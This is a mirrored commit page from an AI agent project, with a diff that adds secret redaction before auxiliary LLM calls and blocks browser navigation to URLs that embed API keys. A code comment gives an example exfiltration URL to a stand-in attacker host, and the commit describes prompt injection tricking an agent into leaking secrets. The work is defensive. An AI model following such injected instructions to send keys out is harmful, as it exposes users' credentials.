mirror of
https://github.com/NousResearch/hermes-agent.git
synced 2026-04-25 00:51:20 +00:00
security: block secret exfiltration via browser URLs and auxiliary LLM calls
Three exfiltration vectors closed: 1. Browser URL exfil — agent could embed secrets in URL params and navigate to attacker-controlled server. Now scans URLs for known API key patterns before navigating (browser_navigate, web_extract). 2. Browser snapshot leak — page displaying env vars or API keys would send secrets to auxiliary LLM via _extract_relevant_content before run_agent.py's redaction layer sees the result. Now redacts snapshot text before the auxiliary call. 3. Camofox annotation leak — accessibility tree text sent to vision LLM could contain secrets visible on screen. Now redacts annotation context before the vision call. 10 new tests covering URL blocking, snapshot redaction, and annotation redaction for both browser and camofox backends.
This commit is contained in:
parent
7e91009018
commit
712aa44325
4 changed files with 213 additions and 4 deletions
|
|
@ -1030,6 +1030,13 @@ def _extract_relevant_content(
|
|||
f"Provide a concise summary focused on interactive elements and key content."
|
||||
)
|
||||
|
||||
# Redact secrets from snapshot before sending to auxiliary LLM.
|
||||
# Without this, a page displaying env vars or API keys would leak
|
||||
# secrets to the extraction model before run_agent.py's general
|
||||
# redaction layer ever sees the tool result.
|
||||
from agent.redact import redact_sensitive_text
|
||||
extraction_prompt = redact_sensitive_text(extraction_prompt)
|
||||
|
||||
try:
|
||||
call_kwargs = {
|
||||
"task": "web_extract",
|
||||
|
|
@ -1078,6 +1085,17 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
|
|||
Returns:
|
||||
JSON string with navigation result (includes stealth features info on first nav)
|
||||
"""
|
||||
# Secret exfiltration protection — block URLs that embed API keys or
|
||||
# tokens in query parameters. A prompt injection could trick the agent
|
||||
# into navigating to https://evil.com/steal?key=sk-ant-... to exfil secrets.
|
||||
from agent.redact import _PREFIX_RE
|
||||
if _PREFIX_RE.search(url):
|
||||
return json.dumps({
|
||||
"success": False,
|
||||
"error": "Blocked: URL contains what appears to be an API key or token. "
|
||||
"Secrets must not be sent in URLs.",
|
||||
})
|
||||
|
||||
# SSRF protection — block private/internal addresses before navigating.
|
||||
# Skipped for local backends (Camofox, headless Chromium without a cloud
|
||||
# provider) because the agent already has full local network access via
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue